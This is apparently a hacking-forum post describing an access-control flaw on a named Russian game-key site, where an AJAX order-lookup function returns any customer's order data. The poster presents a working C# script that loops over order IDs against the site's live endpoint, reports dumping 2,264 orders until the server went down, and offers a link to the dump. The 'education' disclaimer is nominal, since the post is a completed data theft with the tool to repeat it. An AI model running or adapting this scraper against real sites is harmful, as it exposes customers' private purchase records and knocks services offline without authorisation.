• We just launched and are currently in beta. Join us as we build and grow the community.

[JS+AJAX] The vulnerability of the site DenuvoGame

younessdc

Testing Framework Developer
Y Rep
0
0
0
Rep
0
Y Vouches
0
0
0
Vouches
0
Posts
92
Likes
150
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 500 XP
Only in education purpose. Perhaps the bug has already been fixed.
Hey!
Today I came across the site DenuvoGame(Russian
Which apparently uploads files to the hosting of this site, to reach through the console to it I could not possibly dig yourself.
Then I registered my account on the site and went to dig further.
After going through the pages of the site, I did not find anything interesting, but when I went to the personal account of the site, it was already more interesting.
For myself the most interesting thing I found is this piece of code.
When called via the console using the showBuy(); command we get the following window.
This window is shown when you open a completed order, but I went down below and found the function showBuyId(id);
Which showed the order data by its ID.
All right, the site does not check who made this order, but just gives all the data when calling this function.
In this way we can pull out the entire list of orders that were placed on the site
By entering showBuyId(2013); in the console
I saw the next window.
Thus, my guess was confirmed, the site gives out the order data without checking whether the account bought it or not.
Next I checked which order number was the final one and it was 2410
Then using C# and the xNet library I made the following code
Code:
using (var request = new HttpRequest
{
IgnoreProtocolErrors = true,
ConnectTimeout = 15000,
ReadWriteTimeout = 15000,
AllowAutoRedirect = true,
UserAgent = Http.ChromeUserAgent(),
Cookies = new CookieDictionary()
})
{
for(int i = 0; i <= 2410; i++)
{
string GetAuth = request.Post("https://denuvogame.ru/ajax/showBuy/", "id=" + i, "application/x-www-form-urlencoded").ToString();
_source.SaveLine(_config.Path + "/Dump.txt", GetAuth); // If you are going to copy then do this here System.IO.File.AppendAllText("Dump.txt", GetAuth + "\r\n");
}
}
But alas, I managed to collect only 2264 orders out of 2410 (their host simply lay down)
What the dump itself looks like.
Link to the dump file -
 

440,010

316,559

316,568

Top